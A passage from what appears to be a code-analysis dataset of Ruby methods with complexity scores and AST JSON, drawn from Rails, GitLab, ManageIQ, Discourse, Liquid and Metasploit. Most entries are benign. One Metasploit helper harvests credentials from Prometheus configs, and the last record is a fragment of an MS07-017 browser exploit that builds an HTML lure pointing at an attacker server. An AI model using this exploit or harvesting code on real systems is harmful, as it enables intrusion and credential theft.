\"children\":[{\"type\":\"str\",\"children\":[\"dialog_input_target_type\"]},{\"type\":\"str\",\"children\":[\"vm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"platform_category\"]},{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"anything\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"dialog_name\"]}]}]}]}]}","id":"da2ecabf-c2d0-407c-9c58-8e8d183f4767"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":802,"raw_source":"def valid_inverse_reflection?(reflection)\n          reflection &&\n            reflection != self &&\n            foreign_key == reflection.foreign_key &&\n            klass <= reflection.active_record &&\n            can_find_inverse_of_automatically?(reflection, true)\n        end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_inverse_reflection?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"!=\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"foreign_key\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"foreign_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"active_record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"can_find_inverse_of_automatically?\",{\"type\":\"lvar\",\"children\":[\"reflection\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"b2f82295-b102-40f0-afd1-68115fc9baf2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/encryption/helper.rb","start_line":18,"raw_source":"def assert_encrypted_attribute(model, attribute_name, expected_value)\n      assert_ciphertext_decrypts_to model, attribute_name, model.read_attribute_before_type_cast(attribute_name)\n      assert_equal expected_value, model.public_send(attribute_name)\n      unless model.new_record?\n        model.reload\n        assert_ciphertext_decrypts_to model, attribute_name, model.read_attribute_before_type_cast(attribute_name)\n        assert_equal expected_value, model.public_send(attribute_name)\n      end\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_encrypted_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"attribute_name\"]},{\"type\":\"arg\",\"children\":[\"expected_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_ciphertext_decrypts_to\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"read_attribute_before_type_cast\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"new_record?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_ciphertext_decrypts_to\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"read_attribute_before_type_cast\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]}]}]}]}]}","id":"af59bfab-783b-46c3-b979-3a39cf62cb66"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap.rb","start_line":160,"raw_source":"def setup(wrap_read, wrap_write)\n      @wrap_read = wrap_read\n      @wrap_write = wrap_write\n      @ber_cache = []\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wrap_read\"]},{\"type\":\"arg\",\"children\":[\"wrap_write\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@wrap_read\",{\"type\":\"lvar\",\"children\":[\"wrap_read\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@wrap_write\",{\"type\":\"lvar\",\"children\":[\"wrap_write\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ber_cache\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"829a9030-dafc-49c7-936b-41691bec9ebd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/repository_controller.rb","start_line":82,"raw_source":"def render_show\n        define_variables\n\n        render 'show'\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_variables\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"show\"]}]}]}]}","id":"dbafff35-7841-4bb0-8bea-3578f2ee373c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/manageiq/providers/inventory/persister/test_persister.rb","start_line":82,"raw_source":"def add_orchestration_stacks_resources\n    add_collection(cloud, :orchestration_stacks_resources) do |builder|\n      builder.add_properties(:secondary_refs => {:by_stack_and_ems_ref => %i[stack ems_ref]})\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_orchestration_stacks_resources\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_collection\",{\"type\":\"send\",\"children\":[null,\"cloud\"]},{\"type\":\"sym\",\"children\":[\"orchestration_stacks_resources\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"add_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secondary_refs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"by_stack_and_ems_ref\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"stack\"]},{\"type\":\"sym\",\"children\":[\"ems_ref\"]}]}]}]}]}]}]}]}]}","id":"4d14fab1-029b-442e-b257-b2d2d1597c81"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/commit_reference_filter.rb","start_line":13,"raw_source":"def references_in(text, pattern = object_reference_pattern)\n          Gitlab::Utils::Gsub.gsub_with_limit(text, pattern, limit: Banzai::Filter::FILTER_ITEM_LIMIT) do |match_data|\n            yield match_data[0], match_data[:commit], match_data[:project], match_data[:namespace],\n              match_data\n          end\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"references_in\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"optarg\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[null,\"object_reference_pattern\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"Gsub\"]},\"gsub_with_limit\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"Filter\"]},\"FILTER_ITEM_LIMIT\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match_data\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"commit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},{\"type\":\"lvar\",\"children\":[\"match_data\"]}]}]}]}","id":"c80437b6-5dc9-4a58-a5b8-b16d03268184"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request.rb","start_line":613,"raw_source":"def self.display_name(number = 1)\n    n_('Request', 'Requests', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Request\"]},{\"type\":\"str\",\"children\":[\"Requests\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"67d60a55-92bd-4ebf-99ed-801f0f07a24b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/theme_field_serializer.rb","start_line":31,"raw_source":"def filename\n    object.upload&.original_filename\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"upload\"]},\"original_filename\"]}]}","id":"696c9097-add6-4c02-a6d5-54bb0725338d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/prometheus.rb","start_line":62,"raw_source":"def process_dns_sd_configs(job_name, dns_sd_configs)\n      dns_sd_configs['names']&.each do |name|\n        username = dns_sd_configs.dig('basic_auth', 'username')\n        password = dns_sd_configs.dig('basic_auth', 'password')\n        password = dns_sd_configs.dig('basic_auth', 'password_file') if dns_sd_configs.dig('basic_auth', 'password_file')\n        uri = URI(\"#{dns_sd_configs['scheme']}://#{name}\")\n        cred = credential_data\n        cred[:port] = uri.port\n        cred[:address] = uri.host\n        cred[:username] = dns_sd_configs.dig('basic_auth', 'username')\n        cred[:private_data] = password\n        cred[:service_name] = dns_sd_configs['scheme']\n        create_credential_and_login(cred)\n        @table_creds << [\n          job_name,\n          'dns_sd_configs',\n          uri.host,\n          uri.port,\n          username,\n          password,\n          ''\n        ]\n      end\n    end","complexity_score":35.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_dns_sd_configs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]},{\"type\":\"arg\",\"children\":[\"dns_sd_configs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"names\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"dig\",{\"type\":\"str\",\"children\":[\"basic_auth\"]},{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"dig\",{\"type\":\"str\",\"children\":[\"basic_auth\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"dig\",{\"type\":\"str\",\"children\":[\"basic_auth\"]},{\"type\":\"str\",\"children\":[\"password_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"dig\",{\"type\":\"str\",\"children\":[\"basic_auth\"]},{\"type\":\"str\",\"children\":[\"password_file\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scheme\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred\",{\"type\":\"send\",\"children\":[null,\"credential_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"dig\",{\"type\":\"str\",\"children\":[\"basic_auth\"]},{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns_sd_configs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scheme\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_and_login\",{\"type\":\"lvar\",\"children\":[\"cred\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table_creds\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"str\",\"children\":[\"dns_sd_configs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"port\"]},{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}","id":"fc44be46-542b-4912-b8b7-bc08d54a4ced"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/packages/destroy_files.rb","start_line":58,"raw_source":"def parse_gids(gids)\n        GitlabSchema.parse_gids(gids, expected_type: ::Packages::PackageFile).map(&:model_id)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_gids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"parse_gids\",{\"type\":\"lvar\",\"children\":[\"gids\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"PackageFile\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]}]}]}]}","id":"c9af44c3-96fd-4b19-b553-524c200adef8"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":118,"raw_source":"def test_slice_on_arrays\n    input = 'foobar'.split(//)\n    assert_equal(%w(o o b), @filters.slice(input, 1, 3))\n    assert_equal(%w(o o b a r), @filters.slice(input, 1, 1000))\n    assert_equal(%w(), @filters.slice(input, 1, 0))\n    assert_equal(%w(o), @filters.slice(input, 1, 1))\n    assert_equal(%w(b a r), @filters.slice(input, 3, 3))\n    assert_equal(%w(a r), @filters.slice(input, -2, 2))\n    assert_equal(%w(a r), @filters.slice(input, -2, 1000))\n    assert_equal(%w(r), @filters.slice(input, -1))\n    assert_equal(%w(), @filters.slice(input, 100, 10))\n    assert_equal(%w(), @filters.slice(input, -100, 10))\n    assert_equal([], @filters.slice(input, 0, -(1 << 64)))\n    assert_equal(input, @filters.slice(input, 0, 1 << 63))\n    assert_equal([], @filters.slice(input, 1 << 63, 6))\n    assert_equal([], @filters.slice(input, -(1 << 63), 6))\n  end","complexity_score":51.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_slice_on_arrays\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"foobar\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[-2]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[-2]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[100]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[-100]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[64]}]}]},\"-@\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[63]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[63]}]},{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"slice\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"<<\",{\"type\":\"int\",\"children\":[63]}]}]},\"-@\"]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}","id":"cf6f9092-1a03-4a48-a1d1-150e84ab18c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3189,"raw_source":"def swap_pool_repository!\n    return unless repository_exists?\n\n    old_pool_repository = pool_repository\n    return if old_pool_repository.blank?\n    return if pool_repository_shard_matches_repository?(old_pool_repository)\n\n    new_pool_repository = PoolRepository.by_disk_path_and_shard_name(old_pool_repository.disk_path, repository_storage).take!\n    update!(pool_repository: new_pool_repository)\n\n    old_pool_repository.unlink_repository(repository, disconnect: !pending_delete?)\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"swap_pool_repository!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository_exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"old_pool_repository\",{\"type\":\"send\",\"children\":[null,\"pool_repository\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_pool_repository\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pool_repository_shard_matches_repository?\",{\"type\":\"lvar\",\"children\":[\"old_pool_repository\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_pool_repository\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PoolRepository\"]},\"by_disk_path_and_shard_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_pool_repository\"]},\"disk_path\"]},{\"type\":\"send\",\"children\":[null,\"repository_storage\"]}]},\"take!\"]}]},{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool_repository\"]},{\"type\":\"lvar\",\"children\":[\"new_pool_repository\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_pool_repository\"]},\"unlink_repository\",{\"type\":\"send\",\"children\":[null,\"repository\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disconnect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_delete?\"]},\"!\"]}]}]}]}]}]}","id":"c3debda7-06c9-4bc9-a63b-31166167e47f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb","start_line":67,"raw_source":"def sleep_time\n    datastore['SLEEP'] / 1000.0\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"sleep_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SLEEP\"]}]},\"/\",{\"type\":\"float\",\"children\":[1000.0]}]}]}","id":"712ccdeb-d3de-40a7-a849-2633c79f7bda"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb","start_line":335,"raw_source":"def generate_mozilla_html\n    path = get_resource.gsub(/\\/$/, '')\n\n    # The UNC path of the ANI file must have at least one directory level,\n    # otherwise the WebDAV redirector will not work\n    if path == ''\n      path = '/' + rand_text_alphanumeric(rand(80) + 16)\n    end\n\n    return '<img src=\"moz-icon:file://///' +\n           datastore['SRVHOST'] +\n           path + '/' + rand_text_alphanumeric(rand(80) + 16) + '.ani\">'\n  end","complexity_score":29.75,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_mozilla_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\